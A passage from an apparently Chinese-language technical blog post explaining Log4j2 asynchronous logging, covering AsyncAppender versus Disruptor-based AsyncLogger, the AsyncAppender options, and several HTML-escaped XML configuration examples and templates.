\u0026lt;!-- 开发环境使用 --\u0026gt; 73 \u0026lt;!--\u0026lt;Root level=\u0026#34;${LOG_INFO_LEVEL}\u0026#34;\u0026gt; 74 \u0026lt;AppenderRef ref=\u0026#34;STDOUT\u0026#34;/\u0026gt; 75 \u0026lt;/Root\u0026gt;--\u0026gt; 76 77 \u0026lt;!-- 测试，生产环境使用 --\u0026gt; 78 \u0026lt;Root level=\u0026#34;${LOG_INFO_LEVEL}\u0026#34;\u0026gt; 79 \u0026lt;AppenderRef ref=\u0026#34;RollingRandomAccessFileInfo\u0026#34;/\u0026gt; 80 \u0026lt;AppenderRef ref=\u0026#34;RollingRandomAccessFileError\u0026#34;/\u0026gt; 81 \u0026lt;/Root\u0026gt; 82 \u0026lt;/Loggers\u0026gt; 83 84\u0026lt;/Configuration\u0026gt; 通过log.info(“是否为异步日志：{}”, AsyncLoggerContextSelector.isSelected());可以查看是否为异步日志。\nLog4j2 提供了两种实现异步日志的方式，一个是通过 AsyncAppender，一个是通过 AsyncLogger。官方推荐使用 Async Logger 的方式\nAsync Appender。内部使用的一个队列（ArrayBlockingQueue）和一个后台线程，日志先存入队列，后台线程从队列中取出日志。阻塞队列容易受到锁竞争的影响，当更多线程同时记录时性能可能会变差。 Async Logger。是 *log4j2 新增的功能。*内部使用的是 LMAX Disruptor 技术，Disruptor 是一个无锁的线程间通信库，它不是一个队列，不需要排队，从而产生更高的吞吐量和更低的延迟。 Async Appender Async Appender 是 log4j2 最开始的异步日志实现，它把其他 Appender 作为输入，然后把产生 logEvent输出到默认的容器 ArrayBlockingQueue中，然后使用另外一个线程中来输出日志以实现异步。\n但是官方文档也指出：\n“\n在这种多线程应用的实践中需要注意：阻塞队列很容易发生锁争用，测试表明当大量线程并发写日志的时候，性能甚至会变得更糟糕。所以应该考虑使用无锁的 Asyn Loggers 进行优化。\n”\n以下为官方例子：\n1\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; 2\u0026lt;Configuration status=\u0026#34;debug\u0026#34;\u0026gt; 3 \u0026lt;Appenders\u0026gt; 4 \u0026lt;File name=\u0026#34;TEMP\u0026#34; fileName=\u0026#34;temp\u0026#34;\u0026gt; 5 \u0026lt;PatternLayout pattern=\u0026#34;%r [%t] %p %c %notEmpty{%ndc }- %m%n\u0026#34;/\u0026gt; 6 \u0026lt;/File\u0026gt; 7 \u0026lt;Async name=\u0026#34;ASYNC\u0026#34;\u0026gt; 8 \u0026lt;AppenderRef ref=\u0026#34;TEMP\u0026#34;/\u0026gt; 9 \u0026lt;/Async\u0026gt; 10 \u0026lt;/Appenders\u0026gt; 11 \u0026lt;Loggers\u0026gt; 12 \u0026lt;Root level=\u0026#34;debug\u0026#34;\u0026gt; 13 \u0026lt;AppenderRef ref=\u0026#34;ASYNC\u0026#34;/\u0026gt; 14 \u0026lt;/Root\u0026gt; 15 \u0026lt;/Loggers\u0026gt; 16\u0026lt;/Configuration\u0026gt; 上面就是一个使用 AsyncAppender 的典型配置，配置 AsyncAppender 后，日志事件写入文件的操作将在单独的线程中执行。\nAsyncAppender 所支持的所有配置项以及其中每个配置项的作用：\n名称 类型 描述 默认值 AppenderRef String 要异步调用的 Appender 的名称。可以配置多个 AppenderRef 元素。 blocking boolean 如果为 true，则 appender 将等待，直到队列中有空闲槽为止。如果为 false，则在队列已满的情况下将事件写入 error appender。 true shutdownTimeout integer Appender 在关闭时应等待多少毫秒来刷新队列中的未完成日志事件。默认值为零。 0(立刻关闭) bufferSize integer 阻塞队列的最大容量，默认值为1024。请注意，在使用 disruptor-style 的 BlockingQueue 时，此缓冲区的大小必须为2的幂。 1024 errorRef String 如果由于 appender 中的错误或队列已满而无法调用任何 appender，则要调用的 error appender 的名称。如果未指定，则错误将被忽略。 filter Filter 过滤器 name String appender 的名称 ignoreExceptions boolean 用于决定是否需要记录在日志事件处理过程中出现的异常 true BlockingQueueFactory BlockingQueueFactory Buffer的种类(默认ArrayBlockingQueue，能够支持DisruptorBlockingQueue，JCToolsBlockingQueue，LinkedTransferQueue) ArrayBlockingQueueFactory Async Logger Log4j2 中的 AsyncLogger 的内部使用了 Disruptor 框架。Disruptor 是英国外汇交易公司 LMAX 开发的一个高性能队列，基于 Disruptor 开发的系统单线程能支撑每秒 600万订单。目前，包括 Apache Strom、Log4j2 在内的很多知名项目都应用了 Disruptor 来获取高性能。Disruptor 框架内部核心数据结构为 RingBuffer，其为无锁环形队列。\nimage.png\n1\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; 2\u0026lt;Configuration status=\u0026#34;debug\u0026#34; name=\u0026#34;MyApp\u0026#34; packages=\u0026#34;\u0026#34;\u0026gt; 3 \u0026lt;Appenders\u0026gt; 4 \u0026lt;Console name=\u0026#34;Console\u0026#34; target=\u0026#34;SYSTEM_OUT\u0026#34;\u0026gt; 5 \u0026lt;PatternLayout pattern=\u0026#34;%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n\u0026#34; /\u0026gt; 6 \u0026lt;/Console\u0026gt; 7 \u0026lt;RollingFile name=\u0026#34;RollingFile\u0026#34; fileName=\u0026#34;logs/app.log\u0026#34; 8 filePattern=\u0026#34;logs/app-%d{yyyy-MM-dd HH}.log\u0026#34;\u0026gt; 9 \u0026lt;PatternLayout\u0026gt; 10 \u0026lt;Pattern\u0026gt;%d %p %c{1.} [%t] %m%n\u0026lt;/Pattern\u0026gt; 11 \u0026lt;/PatternLayout\u0026gt; 12 \u0026lt;Policies\u0026gt; 13 \u0026lt;SizeBasedTriggeringPolicy size=\u0026#34;500MB\u0026#34;/\u0026gt; 14 \u0026lt;/Policies\u0026gt; 15 \u0026lt;/RollingFile\u0026gt; 16 \u0026lt;RollingFile name=\u0026#34;RollingFile2\u0026#34; fileName=\u0026#34;logs/app2.log\u0026#34; 17 filePattern=\u0026#34;logs/app2-%d{yyyy-MM-dd HH}.log\u0026#34;\u0026gt; 18 \u0026lt;PatternLayout\u0026gt; 19 \u0026lt;Pattern\u0026gt;%d %p %c{1.} [%t] %m%n\u0026lt;/Pattern\u0026gt; 20 \u0026lt;/PatternLayout\u0026gt; 21 \u0026lt;Policies\u0026gt; 22 \u0026lt;SizeBasedTriggeringPolicy size=\u0026#34;500MB\u0026#34;/\u0026gt; 23 \u0026lt;/Policies\u0026gt; 24 \u0026lt;/RollingFile\u0026gt; 25 \u0026lt;/Appenders\u0026gt; 26 \u0026lt;Loggers\u0026gt; 27 \u0026lt;AsyncLogger name=\u0026#34;com.abc.Main\u0026#34; level=\u0026#34;trace\u0026#34; additivity=\u0026#34;false\u0026#34;\u0026gt; 28 \u0026lt;appender-ref ref=\u0026#34;RollingFile\u0026#34;/\u0026gt; 29 \u0026lt;/AsyncLogger\u0026gt; 30 \u0026lt;AsyncLogger name=\u0026#34;RollingFile2\u0026#34; level=\u0026#34;trace\u0026#34; additivity=\u0026#34;false\u0026#34;\u0026gt; 31 \u0026lt;appender-ref ref=\u0026#34;RollingFile2\u0026#34;/\u0026gt; 32 \u0026lt;/AsyncLogger\u0026gt; 33 \u0026lt;Root level=\u0026#34;debug\u0026#34;\u0026gt; 34 \u0026lt;AppenderRef ref=\u0026#34;Console\u0026#34;/\u0026gt; 35 \u0026lt;AppenderRef ref=\u0026#34;RollingFile\u0026#34;/\u0026gt; 36 \u0026lt;/Root\u0026gt; 37 \u0026lt;/Loggers\u0026gt; 38\u0026lt;/Configuration\u0026gt; 在加载 log4j2.xml 的启动阶段，如果检测到配置了 AsyncRoot 或 AsyncLogger，将启动一个 disruptor 实例。\n全局异步模式（性能最好，推荐） JVM启动参数加上：\n1-DLog4jContextSelector=org.apache.logging.log4j.core.async.AsyncLoggerContextSelector 2 3\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; 4\u0026lt;!-- Don\u0026#39;t forget to set system property 5-Dlog4j2.contextSelector=org.apache.logging.log4j.core.async.AsyncLoggerContextSelector 6to make all loggers asynchronous. --\u0026gt; 7\u0026lt;Configuration status=\u0026#34;WARN\u0026#34;\u0026gt; 8\u0026lt;Appenders\u0026gt; 9 \u0026lt;!-- Async Loggers will auto-flush in batches, so switch off immediateFlush. --\u0026gt; 10 \u0026lt;RandomAccessFile name=\u0026#34;RandomAccessFile\u0026#34; fileName=\u0026#34;async.log\u0026#34; immediateFlush=\u0026#34;false\u0026#34; append=\u0026#34;false\u0026#34;\u0026gt; 11 \u0026lt;PatternLayout\u0026gt; 12 \u0026lt;Pattern\u0026gt;%d %p %c{1.} [%t] %m %ex%n\u0026lt;/Pattern\u0026gt; 13 \u0026lt;/PatternLayout\u0026gt; 14 \u0026lt;/RandomAccessFile\u0026gt; 15\u0026lt;/Appenders\u0026gt; 16\u0026lt;Loggers\u0026gt; 17 \u0026lt;Root level=\u0026#34;info\u0026#34; includeLocation=\u0026#34;false\u0026#34;\u0026gt; 18 \u0026lt;AppenderRef ref=\u0026#34;RandomAccessFile\u0026#34;/\u0026gt; 19 \u0026lt;/Root\u0026gt; 20\u0026lt;/Loggers\u0026gt; 21\u0026lt;/Configuration\u0026gt; 当使用 AsyncLoggerContextSelector 来使所有记录器异步时，请确保使用配置中的普通的元素\n同步异步混合模式 可以在配置中组合同步和异步记录器。这提供了更大的灵活性，但代价是性能略有下降（与使所有记录器异步相比）。使用或配置元素指定需要异步的记录器。配置只能包含一个根记录器（或元素），但是可以组合异步和非异步记录器。例如，包含元素的配置文件也可以包含和同步记录器的元素。\n默认情况下，异步记录器不会将位置传递给 I / O 线程。如果您的某个 layout 或自定义 filter 需要位置信息，则需要在所有相关记录器的配置中设置“includeLocation = true”，包括根记录器。\n1\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; 2\u0026lt;Configuration\u0026gt; 3 4 \u0026lt;Properties\u0026gt; 5 \u0026lt;!-- 日志输出级别 --\u0026gt; 6 \u0026lt;Property name=\u0026#34;LOG_INFO_LEVEL\u0026#34; value=\u0026#34;info\u0026#34;/\u0026gt; 7 \u0026lt;!-- error级别日志 --\u0026gt; 8 \u0026lt;Property name=\u0026#34;LOG_ERROR_LEVEL\u0026#34; value=\u0026#34;error\u0026#34;/\u0026gt; 9 \u0026lt;!-- 在当前目录下创建名为log目录做日志存放的目录 --\u0026gt; 10 \u0026lt;Property name=\u0026#34;LOG_HOME\u0026#34; value=\u0026#34;./log\u0026#34;/\u0026gt; 11 \u0026lt;!-- 档案日志存放目录 --\u0026gt; 12 \u0026lt;Property name=\u0026#34;LOG_ARCHIVE\u0026#34; value=\u0026#34;./log/archive\u0026#34;/\u0026gt; 13 \u0026lt;!-- 模块名称， 影响日志配置名，日志文件名，根据自己项目进行配置 --\u0026gt; 14 \u0026lt;Property name=\u0026#34;LOG_MODULE_NAME\u0026#34; value=\u0026#34;spring-boot\u0026#34;/\u0026gt; 15 \u0026lt;!-- 日志文件大小，超过这个大小将被压缩 --\u0026gt; 16 \u0026lt;Property name=\u0026#34;LOG_MAX_SIZE\u0026#34; value=\u0026#34;100 MB\u0026#34;/\u0026gt; 17 \u0026lt;!-- 保留多少天以内的日志 --\u0026gt; 18 \u0026lt;Property name=\u0026#34;LOG_DAYS\u0026#34; value=\u0026#34;15\u0026#34;/\u0026gt; 19 \u0026lt;!--输出日志的格式：%d表示日期，%thread表示线程名，%-5level：级别从左显示5个字符宽度， %msg：日志消息，%n是换行符 --\u0026gt; 20 \u0026lt;Property name=\u0026#34;LOG_PATTERN\u0026#34; value=\u0026#34;%d [%t] %-5level %logger{0} - %msg%n\u0026#34;/\u0026gt; 21 \u0026lt;!--interval属性用来指定多久滚动一次--\u0026gt; 22 \u0026lt;Property name=\u0026#34;TIME_BASED_INTERVAL\u0026#34; value=\u0026#34;1\u0026#34;/\u0026gt; 23 \u0026lt;/Properties\u0026gt; 24 25 \u0026lt;Appenders\u0026gt; 26 \u0026lt;!-- 控制台输出 --\u0026gt; 27 \u0026lt;Console name=\u0026#34;STDOUT\u0026#34; target=\u0026#34;SYSTEM_OUT\u0026#34;\u0026gt; 28 \u0026lt;!--输出日志的格式--\u0026gt; 29 \u0026lt;PatternLayout pattern=\u0026#34;${LOG_PATTERN}\u0026#34;/\u0026gt; 30 \u0026lt;!--控制台只输出level及其以上级别的信息（onMatch），其他的直接拒绝（onMismatch）--\u0026gt; 31 \u0026lt;ThresholdFilter level=\u0026#34;${LOG_INFO_LEVEL}\u0026#34; onMatch=\u0026#34;ACCEPT\u0026#34; onMismatch=\u0026#34;DENY\u0026#34;/\u0026gt; 32 \u0026lt;/Console\u0026gt; 33 34 \u0026lt;!-- 这个会打印出所有的info级别以上，error级别一下的日志，每次大小超过size或者满足TimeBasedTriggeringPolicy，则日志会自动存入按年月日建立的文件夹下面并进行压缩，作为存档--\u0026gt; 35 \u0026lt;!--异步日志会自动批量刷新，所以将immediateFlush属性设置为false--\u0026gt; 36 \u0026lt;RollingRandomAccessFile name=\u0026#34;RollingRandomAccessFileInfo\u0026#34; 37 fileName=\u0026#34;${LOG_HOME}/${LOG_MODULE_NAME}-infoLog.log\u0026#34; 38 filePattern=\u0026#34;${LOG_ARCHIVE}/${LOG_MODULE_NAME}-infoLog-%d{yyyy-MM-dd}-%i.log.gz\u0026#34; 39 immediateFlush=\u0026#34;false\u0026#34;\u0026gt; 40 \u0026lt;Filters\u0026gt; 41 \u0026lt;!--如果是error级别拒绝，设置 onMismatch=\u0026#34;NEUTRAL\u0026#34; 可以让日志经过后续的过滤器--\u0026gt; 42 \u0026lt;ThresholdFilter level=\u0026#34;${LOG_ERROR_LEVEL}\u0026#34; onMatch=\u0026#34;DENY\u0026#34; onMismatch=\u0026#34;NEUTRAL\u0026#34;/\u0026gt; 43 \u0026lt;!--如果是info\\warn输出--\u0026gt; 44 \u0026lt;ThresholdFilter level=\u0026#34;${LOG_INFO_LEVEL}\u0026#34; onMatch=\u0026#34;ACCEPT\u0026#34; onMismatch=\u0026#34;DENY\u0026#34;/\u0026gt; 45 \u0026lt;/Filters\u0026gt; 46 \u0026lt;PatternLayout pattern=\u0026#34;${LOG_PATTERN}\u0026#34;/\u0026gt; 47 \u0026lt;Policies\u0026gt; 48 \u0026lt;!--interval属性用来指定多久滚动一次，根据当前filePattern设置是1天滚动一次--\u0026gt; 49 \u0026lt;TimeBasedTriggeringPolicy interval=\u0026#34;${TIME_BASED_INTERVAL}\u0026#34;/\u0026gt; 50 \u0026lt;SizeBasedTriggeringPolicy size=\u0026#34;${LOG_MAX_SIZE}\u0026#34;/\u0026gt; 51 \u0026lt;/Policies\u0026gt; 52 \u0026lt;!-- DefaultRolloverStrategy属性如不设置，则默认同一文件夹下最多保存7个文件--\u0026gt; 53 \u0026lt;DefaultRolloverStrategy max=\u0026#34;${LOG_DAYS}\u0026#34;/\u0026gt; 54 \u0026lt;/RollingRandomAccessFile\u0026gt; 55 56 \u0026lt;!--只记录error级别以上的日志，与info级别的日志分不同的文件保存--\u0026gt; 57 \u0026lt;RollingRandomAccessFile name=\u0026#34;RollingRandomAccessFileError\u0026#34; 58 fileName=\u0026#34;${LOG_HOME}/${LOG_MODULE_NAME}-errorLog.log\u0026#34; 59 filePattern=\u0026#34;${LOG_ARCHIVE}/${LOG_MODULE_NAME}-errorLog-%d{yyyy-MM-dd}-%i.log.gz\u0026#34; 60 immediateFlush=\u0026#34;false\u0026#34;\u0026gt; 61 \u0026lt;Filters\u0026gt; 62 \u0026lt;ThresholdFilter level=\u0026#34;${LOG_ERROR_LEVEL}\u0026#34; onMatch=\u0026#34;ACCEPT\u0026#34; onMismatch=\u0026#34;DENY\u0026#34;/\u0026gt; 63 \u0026lt;/Filters\u0026gt; 64 \u0026lt;PatternLayout pattern=\u0026#34;${LOG_PATTERN}\u0026#34;/\u0026gt; 65 \u0026lt;Policies\u0026gt; 66 \u0026lt;TimeBasedTriggeringPolicy interval=\u0026#34;${TIME_BASED_INTERVAL}\u0026#34;/\u0026gt; 67 \u0026lt;SizeBasedTriggeringPolicy size=\u0026#34;${LOG_MAX_SIZE}\u0026#34;/\u0026gt; 68 \u0026lt;/Policies\u0026gt; 69 \u0026lt;DefaultRolloverStrategy max=\u0026#34;${LOG_DAYS}\u0026#34;/\u0026gt; 70 \u0026lt;/RollingRandomAccessFile\u0026gt; 71 72 \u0026lt;/Appenders\u0026gt; 73 74 \u0026lt;Loggers\u0026gt; 75 \u0026lt;!-- 开发环境使用 --\u0026gt; 76 \u0026lt;!--\u0026lt;Root level=\u0026#34;${LOG_INFO_LEVEL}\u0026#34;\u0026gt; 77 \u0026lt;AppenderRef ref=\u0026#34;STDOUT\u0026#34;/\u0026gt; 78 \u0026lt;/Root\u0026gt;--\u0026gt; 79 80 \u0026lt;!-- 测试，生产环境使用 --\u0026gt; 81 \u0026lt;!-- 当使用\u0026lt;asyncLogger\u0026gt; or \u0026lt;asyncRoot\u0026gt;时，无需设置系统属性\u0026#34;Log4jContextSelector\u0026#34; --\u0026gt; 82 \u0026lt;AsyncLogger name=\u0026#34;com.jourwon\u0026#34; level=\u0026#34;${LOG_INFO_LEVEL}\u0026#34; additivity=\u0026#34;false\u0026#34;\u0026gt; 83 \u0026lt;AppenderRef ref=\u0026#34;RollingRandomAccessFileInfo\u0026#34;/\u0026gt; 84 \u0026lt;AppenderRef ref=\u0026#34;RollingRandomAccessFileError\u0026#34;/\u0026gt; 85 \u0026lt;/AsyncLogger\u0026gt; 86 87 \u0026lt;Root level=\u0026#34;${LOG_INFO_LEVEL}\u0026#34;\u0026gt; 88 \u0026lt;AppenderRef ref=\u0026#34;RollingRandomAccessFileInfo\u0026#34;/\u0026gt; 89 \u0026lt;AppenderRef ref=\u0026#34;RollingRandomAccessFileError\u0026#34;/\u0026gt; 90 \u0026lt;/Root\u0026gt; 91 \u0026lt;/Loggers\u0026gt; 92 93\u0026lt;/Configuration\u0026gt; log4j2 配置文件详解 推荐看看这篇文章，写的挺全的：log4j2中各种配置的含义\n另外，就是参考官网的文档了：http://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout\nimage.png\n两个模版文件 1\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;utf-8\u0026#34;?\u0026gt; 2\u0026lt;!--日志级别以及优先级排序: OFF \u0026gt; FATAL \u0026gt; ERROR \u0026gt; WARN \u0026gt; INFO \u0026gt; DEBUG \u0026gt; TRACE \u0026gt; ALL --\u0026gt; 3\u0026lt;!--Configuration后面的status，这个用于设置log4j2自身内部的信息输出，可以不设置，当设置成trace时，你会看到log4j2内部各种详细输出--\u0026gt; 4 5\u0026lt;!--monitorInterval：Log4j能够自动检测修改配置 文件和重新配置本身，设置间隔秒数--\u0026gt; 6\u0026lt;configuration status=\u0026#34;INFO\u0026#34; monitorInterval=\u0026#34;300\u0026#34;\u0026gt; 7 \u0026lt;!--定义属性--\u0026gt; 8 \u0026lt;properties\u0026gt; 9 \u0026lt;property name=\u0026#34;log_deploy_path\u0026#34;\u0026gt;logs/deploy\u0026lt;/property\u0026gt; 10 \u0026lt;property name=\u0026#34;log_test_path\u0026#34;\u0026gt;logs/test\u0026lt;/property\u0026gt; 11 \u0026lt;/properties\u0026gt; 12 \u0026lt;!--先定义所有的appender--\u0026gt; 13 \u0026lt;appenders\u0026gt; 14 \u0026lt;!--这个输出控制台的配置--\u0026gt; 15 \u0026lt;Console name=\u0026#34;Console\u0026#34; target=\u0026#34;SYSTEM_OUT\u0026#34; follow=\u0026#34;true\u0026#34;\u0026gt; 16 \u0026lt;!-- 控制台只输出level及以上级别的信息(onMatch),其他的直接拒绝(onMismatch) --\u0026gt; 17 \u0026lt;ThresholdFilter level=\u0026#34;debug\u0026#34; onMatch=\u0026#34;ACCEPT\u0026#34; onMismatch=\u0026#34;DENY\u0026#34;/\u0026gt; 18 \u0026lt;!--输出日志的格式--\u0026gt; 19 \u0026lt;PatternLayout pattern=\u0026#34;%date{yyyy-MM-dd HH:mm:ss.SSS} %level [%thread][%file:%line] - %msg%n\u0026#34;/\u0026gt; 20 \u0026lt;/Console\u0026gt; 21 \u0026lt;!--文件会打印出所有信息，这个log每次运行程序会自动清空，由append属性决定，这个也挺有用的，适合临时测试用--\u0026gt; 22 \u0026lt;File name=\u0026#34;test_log\u0026#34; fileName=\u0026#34;${log_test_path}/testlog.html\u0026#34; append=\u0026#34;false\u0026#34;\u0026gt; 23 \u0026lt;!--此处采用html文件格式进行整理--\u0026gt; 24 \u0026lt;HTMLLayout title=\u0026#34;日志\u0026#34;/\u0026gt; 25 \u0026lt;ThresholdFilter level=\u0026#34;info\u0026#34; onMatch=\u0026#34;ACCEPT\u0026#34; onMismatch=\u0026#34;DENY\u0026#34;/\u0026gt; 26 \u0026lt;!--\u0026lt;PatternLayout pattern=\u0026#34;%date{yyyy-MM-dd HH:mm:ss.SSS} %level [%thread][%file:%line] - %msg%n\u0026#34;/\u0026gt;--\u0026gt; 27 \u0026lt;/File\u0026gt; 28 \u0026lt;!-- 这个会打印出所有的info及以下级别的信息，每次大小超过size，则这size大小的日志会自动存入按年份-月份建立的文件夹下面并进行压缩，作为存档--\u0026gt; 29 \u0026lt;!--${sys:user.home}用户home目录--\u0026gt; 30 \u0026lt;RollingFile name=\u0026#34;RollingFileInfo\u0026#34; fileName=\u0026#34;${log_deploy_path}/info.log\u0026#34; 31 filePattern=\u0026#34;${log_deploy_path}/$${date:yyyy-MM}/info-%d{yyyy-MM-dd}-%i.log\u0026#34;\u0026gt; 32 \u0026lt;!--控制台只输出level及以上级别的信息（onMatch），其他的直接拒绝（onMismatch）--\u0026gt; 33 \u0026lt;ThresholdFilter level=\u0026#34;info\u0026#34; onMatch=\u0026#34;ACCEPT\u0026#34; onMismatch=\u0026#34;DENY\u0026#34;/\u0026gt; 34 \u0026lt;PatternLayout pattern=\u0026#34;[%d{HH:mm:ss:SSS}] [%p] - %l - %m%n\u0026#34;/\u0026gt; 35 \u0026lt;Policies\u0026gt; 36 \u0026lt;TimeBasedTriggeringPolicy/\u0026gt; 37 \u0026lt;SizeBasedTriggeringPolicy size=\u0026#34;100 MB\u0026#34;/\u0026gt; 38 \u0026lt;/Policies\u0026gt; 39 \u0026lt;/RollingFile\u0026gt; 40 \u0026lt;RollingFile name=\u0026#34;RollingFileWarn\u0026#34; fileName=\u0026#34;${log_deploy_path}/warn.log\u0026#34; 41 filePattern=\u0026#34;${log_deploy_path}/$${date:yyyy-MM}/warn-%d{yyyy-MM-dd}-%i.log\u0026#34;\u0026gt; 42 \u0026lt;ThresholdFilter level=\u0026#34;warn\u0026#34; onMatch=\u0026#34;ACCEPT\u0026#34; onMismatch=\u0026#34;DENY\u0026#34;/\u0026gt; 43 \u0026lt;PatternLayout pattern=\u0026#34;[%d{HH:mm:ss:SSS}] [%p] - %l - %m%n\u0026#34;/\u0026gt; 44 \u0026lt;Policies\u0026gt; 45 \u0026lt;TimeBasedTriggeringPolicy/\u0026gt; 46 \u0026lt;SizeBasedTriggeringPolicy size=\u0026#34;100 MB\u0026#34;/\u0026gt; 47 \u0026lt;/Policies\u0026gt; 48 \u0026lt;!-- DefaultRolloverStrategy属性如不设置，则默认为最多同一文件夹下7个文件，这里设置了20 --\u0026gt; 49 \u0026lt;DefaultRolloverStrategy max=\u0026#34;20\u0026#34;/\u0026gt; 50 \u0026lt;/RollingFile\u0026gt; 51 \u0026lt;RollingFile name=\u0026#34;RollingFileError\u0026#34; fileName=\u0026#34;${log_deploy_path}/error.log\u0026#34; 52 filePattern=\u0026#34;${log_deploy_path}/$${date:yyyy-MM}/error-%d{yyyy-MM-dd}-%i.log\u0026#34;\u0026gt; 53 \u0026lt;ThresholdFilter level=\u0026#34;error\u0026#34; onMatch=\u0026#34;ACCEPT\u0026#34; onMismatch=\u0026#34;DENY\u0026#34;/\u0026gt; 54 \u0026lt;PatternLayout pattern=\u0026#34;[%d{HH:mm:ss:SSS}] [%p] - %l - %m%n\u0026#34;/\u0026gt; 55 \u0026lt;Policies\u0026gt; 56 \u0026lt;TimeBasedTriggeringPolicy/\u0026gt; 57 \u0026lt;SizeBasedTriggeringPolicy size=\u0026#34;100 MB\u0026#34;/\u0026gt; 58 \u0026lt;/Policies\u0026gt; 59 \u0026lt;/RollingFile\u0026gt; 60 \u0026lt;/appenders\u0026gt; 61 \u0026lt;!--然后定义logger，只有定义了logger并引入的appender，appender才会生效--\u0026gt; 62 \u0026lt;loggers\u0026gt; 63 \u0026lt;!-- 过滤掉spring和mybatis的一些无用的DEBUG信息 --\u0026gt; 64 \u0026lt;logger name=\u0026#34;org.springframework.core\u0026#34; level=\u0026#34;INFO\u0026#34;\u0026gt; 65 \u0026lt;/logger\u0026gt; 66 \u0026lt;logger name=\u0026#34;org.springframework.beans\u0026#34; level=\u0026#34;INFO\u0026#34;\u0026gt; 67 \u0026lt;/logger\u0026gt; 68 \u0026lt;logger name=\u0026#34;org.springframework.context\u0026#34; level=\u0026#34;INFO\u0026#34;\u0026gt; 69 \u0026lt;/logger\u0026gt; 70 \u0026lt;logger name=\u0026#34;org.springframework.web\u0026#34; level=\u0026#34;INFO\u0026#34;\u0026gt; 71 \u0026lt;/logger\u0026gt; 72 \u0026lt;logger name=\u0026#34;org.apache.http\u0026#34; level=\u0026#34;INFO\u0026#34;\u0026gt; 73 \u0026lt;/logger\u0026gt; 74 \u0026lt;logger name=\u0026#34;org.mybatis\u0026#34; level=\u0026#34;INFO\u0026#34;\u0026gt; 75 \u0026lt;/logger\u0026gt; 76 \u0026lt;!-- Root Logger --\u0026gt; 77 \u0026lt;root level=\u0026#34;all\u0026#34; includeLocation=\u0026#34;true\u0026#34;\u0026gt; 78 \u0026lt;appender-ref ref=\u0026#34;Console\u0026#34;/\u0026gt; 79 \u0026lt;AppenderRef ref=\u0026#34;test_log\u0026#34;/\u0026gt; 80 \u0026lt;appender-ref ref=\u0026#34;RollingFileInfo\u0026#34;/\u0026gt; 81 \u0026lt;appender-ref ref=\u0026#34;RollingFileWarn\u0026#34;/\u0026gt; 82 \u0026lt;appender-ref ref=\u0026#34;RollingFileError\u0026#34;/\u0026gt; 83 \u0026lt;/root\u0026gt; 84 \u0026lt;/loggers\u0026gt; 85\u0026lt;/configuration\u0026gt; 86 87\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; 88\u0026lt;!--日志级别以及优先级排序: OFF \u0026gt; FATAL \u0026gt; ERROR \u0026gt; WARN \u0026gt; INFO \u0026gt; DEBUG \u0026gt; TRACE \u0026gt; ALL --\u0026gt; 89\u0026lt;!--Configuration后面的status,这个用于设置log4j2自身内部的信息输出,可以不设置,当设置成trace时,你会看到log4j2内部各种详细输出--\u0026gt; 90\u0026lt;!--monitorInterval：Log4j能够自动检测修改配置 文件和重新配置本身,设置间隔秒数--\u0026gt; 91\u0026lt;configuration status=\u0026#34;WARN\u0026#34; monitorInterval=\u0026#34;1800\u0026#34;\u0026gt; 92 93 \u0026lt;Properties\u0026gt; 94 \u0026lt;!-- ==============================================公共配置============================================== --\u0026gt; 95 \u0026lt;!-- 设置日志文件的目录名称 --\u0026gt; 96 \u0026lt;property name=\u0026#34;logFileName\u0026#34;\u0026gt;qfxLog4jDemoLog\u0026lt;/property\u0026gt; 97 98 \u0026lt;!-- 日志默认存放的位置,可以设置为项目根路径下,也可指定绝对路径 --\u0026gt; 99 \u0026lt;!-- 存放路径一:通用路径,window平台 --\u0026gt; 100 \u0026lt;!-- \u0026lt;property name=\u0026#34;basePath\u0026#34;\u0026gt;d:/logs/${logFileName}\u0026lt;/property\u0026gt; --\u0026gt; 101 \u0026lt;!-- 存放路径二:web工程专用,java项目没有这个变量,需要删掉,否则会报异常,这里把日志放在web项目的根目录下 --\u0026gt; 102 \u0026lt;!-- \u0026lt;property name=\u0026#34;basePath\u0026#34;\u0026gt;${web:rootDir}/${logFileName}\u0026lt;/property\u0026gt; --\u0026gt; 103 \u0026lt;!-- 存放路径三:web工程专用,java项目没有这个变量,需要删掉,否则会报异常,这里把日志放在tocmat的logs目录下 --\u0026gt; 104 \u0026lt;property name=\u0026#34;basePath\u0026#34;\u0026gt;${sys:catalina.home}/logs/${logFileName}\u0026lt;/property\u0026gt; 105 106 \u0026lt;!-- 控制台默认输出格式,\u0026#34;%-5level\u0026#34;:日志级别,\u0026#34;%l\u0026#34;:输出完整的错误位置,是小写的L,因为有行号显示,所以影响日志输出的性能 --\u0026gt; 107 \u0026lt;property name=\u0026#34;console_log_pattern\u0026#34;\u0026gt;%d{yyyy-MM-dd HH:mm:ss.SSS} [%-5level] %l - %m%n\u0026lt;/property\u0026gt; 108 \u0026lt;!-- 日志文件默认输出格式,不带行号输出(行号显示会影响日志输出性能);%C:大写,类名;%M:方法名;%m:错误信息;%n:换行 --\u0026gt; 109 \u0026lt;!-- \u0026lt;property name=\u0026#34;log_pattern\u0026#34;\u0026gt;%d{yyyy-MM-dd HH:mm:ss.SSS} [%-5level] %C.%M - %m%n\u0026lt;/property\u0026gt; --\u0026gt; 110 \u0026lt;!-- 日志文件默认输出格式,另类带行号输出(对日志输出性能未知);%C:大写,类名;%M:方法名;%L:行号;%m:错误信息;%n:换行 --\u0026gt; 111 \u0026lt;property name=\u0026#34;log_pattern\u0026#34;\u0026gt;%d{yyyy-MM-dd HH:mm:ss.SSS} [%-5level] %C.%M[%L line] - %m%n\u0026lt;/property\u0026gt; 112 113 \u0026lt;!-- 日志默认切割的最小单位 --\u0026gt; 114 \u0026lt;property name=\u0026#34;every_file_size\u0026#34;\u0026gt;20MB\u0026lt;/property\u0026gt; 115 \u0026lt;!-- 日志默认输出级别 --\u0026gt; 116 